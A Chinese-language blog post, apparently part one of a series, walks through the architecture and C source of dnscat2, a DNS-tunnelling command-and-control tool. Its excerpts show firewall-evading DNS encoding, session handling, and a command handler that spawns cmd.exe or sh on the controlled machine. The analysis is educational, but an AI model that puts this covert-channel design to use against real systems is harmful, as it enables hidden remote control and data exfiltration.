DNSCAT2 深入学习(一)

 

最近在学习一款隐蔽信道通信工具,dnscat2,这是一个十分成熟的工具,我准备通过一系列文章,从架构出发,立足于源码,深入分析,既作为学习记录,也和大家进行交流,希望能对大家有所帮助。时间仓促,如有分析不当之处还请大家多多指出。

 

简介

dnscat2是基于DNS协议的通信工具,一般的通信工具基于TCP等的传输方式非常容易被防火墙拦截,但是dnscat2基于的DNS查询与响应报文一般不会被拦截,进而可以完成信息传输。

dnscat2分为client端和server端,client运行在被控机器上,server运行在DNS服务器上。client,server部分分别是用C,ruby写的。其中作者在实现client部分时实现了跨平台,支持linux和windows编译运行。在完成连接建立后可以实现建立shell,上传下载文件等功能,运行效果如下:

 

架构分析

借用官方文档的一张图:

+—————+
| tunnel_driver | (only 1)
+—————+
|
(has one)
|
v
+————+
| controller | (only 1)
+————+
|
(has one or more)
|
v
+———+
| session | (at least one)
+———+
|
(has exactly one)
|
v
+——–+
| driver | (exactly one / session)
+——–+

整个工具分为四层架构,从下到上分别是tunnel_driver,controller,session,和driver。收到数据后,数据经下层流到上层,上层处理完毕之后产生响应数据,再由上层经下层一步步封装后经udpsocket发送出去。

整个工具在运行过程中只包含一个tunneldriver和controller,他们负责接收和分发数据给各个session。可以有多个session和driver,分别处理不同的任务(shell,download,upload…)。

下面分析各个层次的具体功能。

在分析之前先列出接收和发送报文函数流,以免迷失方向。

 

tunnel_driver

这个层次是通过udp接受和发送报文的,它几乎没有对报文做任何处理,只是将上层来的报文封装给udp发出去,接收外部来的响应报文。

创建udp_socket并且设置相关参数:

driver->s = udp_create_socket(0, host);
/* Set the domain and stuff. */
driver->group      = group;
driver->domain     = domain;
driver->dns_port   = port;
driver->dns_server = server;

dnscat2采用select库来实现异步socket操作,设置各种回调函数,其中比较重要的是recvsocketcallback,当接收到报文时就调用这个回调函数来处理报文:

select_group_add_socket(group, driver->s, SOCKET_TYPE_STREAM, driver);
select_set_recv(group, driver->s, recv_socket_callback);
select_set_timeout(group, timeout_callback, driver);
select_set_closed(group, driver->s, dns_data_closed);

在recvsocketcallback中根据不同种类的dns报文进行不同的处理。具体的处理过程和dns协议有关,有关dnscat2如何利用dns协议进行数据封装的介绍留在之后介绍。

    if(type == _DNS_TYPE_TEXT)
    {
      LOG_INFO("Received a TXT response: %s", dns->answers[0].answer->TEXT.text);

      /* Get the answer. */
      tmp_answer    = dns->answers[0].answer->TEXT.text;
      answer_length = dns->answers[0].answer->TEXT.length;

      /* Decode it. */
      answer = buffer_decode_hex(tmp_answer, &answer_length);
    }
    else if(type == _DNS_TYPE_CNAME)
    {
      LOG_INFO("Received a CNAME response: %s", (char*)dns->answers[0].answer->CNAME.name);

      /* Get the answer. */
      tmp_answer = remove_domain((char*)dns->answers[0].answer->CNAME.name, driver->domain);
      if(!tmp_answer)
      {
        answer = NULL;
      }
      else
      {
        answer_length = strlen((char*)tmp_answer);

        /* Decode it. */
        answer = buffer_decode_hex(tmp_answer, &answer_length);
        safe_free(tmp_answer);
      }
    }
    .......
    else
    {
      LOG_ERROR("Unknown DNS type returned: %d", type);
      answer = NULL;
    }

controller

session作为tunneldriver和session的中间层次所做的工作就是根据tunneldriver传来的报文id来识别和报文相对应的session并且将它发送给session:

NBBOOL controller_data_incoming(uint8_t *data, size_t length)
{
  uint16_t session_id = packet_peek_session_id(data, length);
  session_t *session = sessions_get_by_id(session_id);

  /* If we weren't able to find a session, print an error and return. */
  if(!session)
  {
    LOG_ERROR("Tried to access a non-existent session (%s): %d", __FUNCTION__, session_id);
    return FALSE;
  }

  /* Pass the data onto the session. */
  return session_data_incoming(session, data, length);
}

session

session层次可以说时整个工具里最重要的层次,dnscat2协议就在这个层次里体现(关于dnscat2 protocol的介绍在后面进行),在session里有一个有限状态机,类似于tcp的协议过程对报文的内容进行识别与认定,以及解密响应等操作。

在进行具体的操作之前先向各个driver询问是否有数据输出,因为马上就要有新的报文需要处理响应了。

packet_t *packet;

  /* Set to TRUE if data was properly ACKed and we should send more right away. */
  NBBOOL send_right_away = FALSE;

  /* Suck in any data we can from the driver. */
  poll_driver_for_data(session);

然后就是设置有限状态机的各种处理函数,从各种处理函数中我们能看出有限状态机的脉络(这一部分在protocol里介绍):

#ifndef NO_ENCRYPTION
    handlers[PACKET_TYPE_SYN][SESSION_STATE_BEFORE_INIT]    = _handle_error;
    handlers[PACKET_TYPE_SYN][SESSION_STATE_BEFORE_AUTH]    = _handle_error;
#endif
    handlers[PACKET_TYPE_SYN][SESSION_STATE_NEW]            = _handle_syn_new;
    handlers[PACKET_TYPE_SYN][SESSION_STATE_ESTABLISHED]    = _handle_warning;

#ifndef NO_ENCRYPTION
    handlers[PACKET_TYPE_MSG][SESSION_STATE_BEFORE_INIT]    = _handle_error;
    handlers[PACKET_TYPE_MSG][SESSION_STATE_BEFORE_AUTH]    = _handle_error;
#endif
    handlers[PACKET_TYPE_MSG][SESSION_STATE_NEW]            = _handle_warning;
    handlers[PACKET_TYPE_MSG][SESSION_STATE_ESTABLISHED]    = _handle_msg_established;

#ifndef NO_ENCRYPTION
    handlers[PACKET_TYPE_FIN][SESSION_STATE_BEFORE_INIT]    = _handle_fin;
    handlers[PACKET_TYPE_FIN][SESSION_STATE_BEFORE_AUTH]    = _handle_fin;
#endif
    handlers[PACKET_TYPE_FIN][SESSION_STATE_NEW]            = _handle_fin;
    handlers[PACKET_TYPE_FIN][SESSION_STATE_ESTABLISHED]    = _handle_fin;

#ifndef NO_ENCRYPTION
    handlers[PACKET_TYPE_ENC][SESSION_STATE_BEFORE_INIT]   = _handle_enc_before_init;
    handlers[PACKET_TYPE_ENC][SESSION_STATE_BEFORE_AUTH]   = _handle_enc_before_auth;
    handlers[PACKET_TYPE_ENC][SESSION_STATE_NEW]           = _handle_error;
    handlers[PACKET_TYPE_ENC][SESSION_STATE_ESTABLISHED]   = _handle_enc_renegotiate;

在session确认报文被全部接收后,最后会调用handlemsg_established回调函数来将数据发送给driver,进行进一步的处理(理解数据的内容,比如说是要建立一个shell?上传一个文件?等等)

  if(packet->body.msg.seq == session->their_seq)
  {
    /* Verify the ACK is sane */
    uint16_t bytes_acked = packet->body.msg.ack - session->my_seq;

    .....
      /* Increment their sequence number */
      session->their_seq = (session->their_seq + packet->body.msg.data_length) & 0xFFFF;

      /* Remove the acknowledged data from the buffer */
      buffer_consume(session->outgoing_buffer, bytes_acked);

      /* Increment my sequence number */
      if(bytes_acked != 0)
      {
        session->my_seq = (session->my_seq + bytes_acked) & 0xFFFF;
      }

      /* Print the data, if we received any, and then immediately receive more. */
      if(packet->body.msg.data_length > 0)
      {
        driver_data_received(session->driver, packet->body.msg.data, packet->body.msg.data_length);
        you_can_transmit_now(session);
      }
    }

driver

每一个session对应着一个driver,用来从更高层次上处理报文。在dnscat2中作者总共提供了4中driver,分别是driverconsole,driverexec,driverping和drivercommand,每种不同的driver都实现了一种不同的功能。

其中最简单的就是driver_console,它将收到的数据直接打印出来,实现一个类似交互的功能:

void driver_console_data_received(driver_console_t *driver, uint8_t *data, size_t length)
{
  size_t i;

  for(i = 0; i < length; i++)
    fputc(data[i], stdout);
}

较为复杂的是driver_command,它实现的功能最多,例如建立shell,下载上传文件,作者针对不同的功能分别进行了处理:

    switch(in->command_id)
    {
      case COMMAND_PING:
        out = handle_ping(driver, in);
        break;

      case COMMAND_SHELL:
        out = handle_shell(driver, in);
        break;

      case COMMAND_EXEC:
        out = handle_exec(driver, in);
        break;

      case COMMAND_DOWNLOAD:
        out = handle_download(driver, in);
        break;

      case COMMAND_UPLOAD:
        out = handle_upload(driver, in);
        break;

      case COMMAND_SHUTDOWN:
        out = handle_shutdown(driver, in);
        break;

      case COMMAND_DELAY:
        out = handle_delay(driver, in);
        break;

      case TUNNEL_CONNECT:
        out = handle_tunnel_connect(driver, in);
        break;

      case TUNNEL_DATA:
        out = handle_tunnel_data(driver, in);
        break;

      case TUNNEL_CLOSE:
        out = handle_tunnel_close(driver, in);
        break;

      case COMMAND_ERROR:
        out = handle_error(driver, in);
        break;

      default:
        LOG_ERROR("Got a command packet that we don't know how to handle!\n");
        out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!");
    }

具体看一下handle_shell(driver, in),就是在被控制的机器上执行cmd.exe/win,sh/linux建立shell,然后将输入输出绑定进行实时传送:

static command_packet_t *handle_shell(driver_command_t *driver, command_packet_t *in)
{
  session_t *session = NULL;

  if(!in->is_request)
    return NULL;

#ifdef WIN32
  session = session_create_exec(driver->group, "cmd.exe", "cmd.exe");
#else
  session = session_create_exec(driver->group, "sh", "sh");
#endif
  controller_add_session(session);

  return command_packet_create_shell_response(in->request_id, session->id);
}

发送数据

发送数据是接收数据的反过程,大致和接收类似,这里简单介绍一下。 前面介绍过要发送的数据产生在session将接收到的数据发送给driver之前,具体实现在polldriverfordata函数中,其中调用了drivergetoutgoing来向driver“索要数据”,然后将数据封装在outgoingbuffer中等待发送:

static void poll_driver_for_data(session_t *session)
{
  size_t length = -1;

  /* Read all the data we can. */
  uint8_t *data = driver_get_outgoing(session->driver, &length, -1);

  /* If a driver returns NULL, it means it's done - once the driver is
   * done and all our data is sent, go into 'shutdown' mode. */
  if(!data)
  {
    if(buffer_get_remaining_bytes(session->outgoing_buffer) == 0)
      session_kill(session);
  }
  else
  {
    if(length)
      buffer_add_bytes(session->outgoing_buffer, data, length);

    safe_free(data);
  }
}

在drivergetoutgoing中根据不同的driver类型来产生数据。

uint8_t *driver_get_outgoing(driver_t *driver, size_t *length, size_t max_length)
{
  switch(driver->type)
  {
    case DRIVER_TYPE_CONSOLE:
      return driver_console_get_outgoing(driver->real_driver.console, length, max_length);
      break;

    case DRIVER_TYPE_EXEC:
      return driver_exec_get_outgoing(driver->real_driver.exec, length, max_length);
      break;

    case DRIVER_TYPE_COMMAND:
      return driver_command_get_outgoing(driver->real_driver.command, length, max_length);
      break;

    case DRIVER_TYPE_PING:
      return driver_ping_get_outgoing(driver->real_driver.ping, length, max_length);
      break;

    default:
      LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_get_outgoing)\n", driver->type);
      exit(1);
      break;
  }
}

就driverconsolegetoutgoing来说,在创建driverconsole的时候就将stdin加入到了select当中进行接收标准输入作为发送数据:

select_group_add_pipe(group, -1, stdin_handle, driver);
select_set_recv(group,       -1, console_stdin_recv);
select_set_closed(group,     -1, console_stdin_closed);


static SELECT_RESPONSE_t console_stdin_recv(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *d)
{
  driver_console_t *driver = (driver_console_t*) d;

  buffer_add_bytes(driver->outgoing_data, data, length);

  return SELECT_OK;
}

在之后经历sessiongetoutgoing,controllergetoutgoing,do_send后将数据发送出去。

static void do_send(driver_dns_t *driver)
{
  size_t        i;
  dns_t        *dns;
  buffer_t     *buffer;
  uint8_t      *encoded_bytes;
  size_t        encoded_length;
  uint8_t      *dns_bytes;
  size_t        dns_length;
  size_t        section_length;

  size_t length;
  uint8_t *data = controller_get_outgoing((size_t*)&length, (size_t)MAX_DNSCAT_LENGTH(driver->domain));

  /* If we aren't supposed to send anything (like we're waiting for a timeout),
   * data is NULL. */
  if(!data)
    return;

  assert(driver->s != -1); /* Make sure we have a valid socket. */
  assert(data); /* Make sure they aren't trying to send NULL. */
  assert(length > 0); /* Make sure they aren't trying to send 0 bytes. */
  assert(length <= MAX_DNSCAT_LENGTH(driver->domain));

  buffer = buffer_create(BO_BIG_ENDIAN);

  /* If no domain is set, add the wildcard prefix at the start. */
  if(!driver->domain)
  {
    buffer_add_bytes(buffer, (uint8_t*)WILDCARD_PREFIX, strlen(WILDCARD_PREFIX));
    buffer_add_int8(buffer, '.');
  }

  /* Keep track of the length of the current section (the characters between two periods). */
  section_length = 0;
  for(i = 0; i < length; i++)
  {
    buffer_add_int8(buffer, HEXCHAR((data[i] >> 4) & 0x0F));
    buffer_add_int8(buffer, HEXCHAR((data[i] >> 0) & 0x0F));

    /* Add periods when we need them. */
    section_length += 2;
    if(i + 1 != length && section_length + 2 >= MAX_FIELD_LENGTH)
    {
      section_length = 0;
      buffer_add_int8(buffer, '.');
    }
  }

  /* If a domain is set, instead of the wildcard prefix, add the domain to the end. */
  if(driver->domain)
  {
    buffer_add_int8(buffer, '.');
    buffer_add_bytes(buffer, driver->domain, strlen(driver->domain));
  }
  buffer_add_int8(buffer, '\0');

  /* Get the result out. */
  encoded_bytes = buffer_create_string_and_destroy(buffer, &encoded_length);

  /* Double-check we didn't mess up the length. */
  assert(encoded_length <= MAX_DNS_LENGTH);

  dns = dns_create(_DNS_OPCODE_QUERY, _DNS_FLAG_RD, _DNS_RCODE_SUCCESS);
  dns_add_question(dns, (char*)encoded_bytes, get_type(driver), _DNS_CLASS_IN);
  dns_bytes = dns_to_packet(dns, &dns_length);

  LOG_INFO("Sending DNS query for: %s to %s:%d", encoded_bytes, driver->dns_server, driver->dns_port);
  udp_send(driver->s, driver->dns_server, driver->dns_port, dns_bytes, dns_length);

  safe_free(dns_bytes);
  safe_free(encoded_bytes);
  safe_free(data);

  dns_destroy(dns);
}

 

总结

这篇文章着重分析了dnscat2中的报文走向,以及大致的处理过程,在之后的文章中会对其中更细节的方面进行介绍。        欢迎大家评论交流!

(完)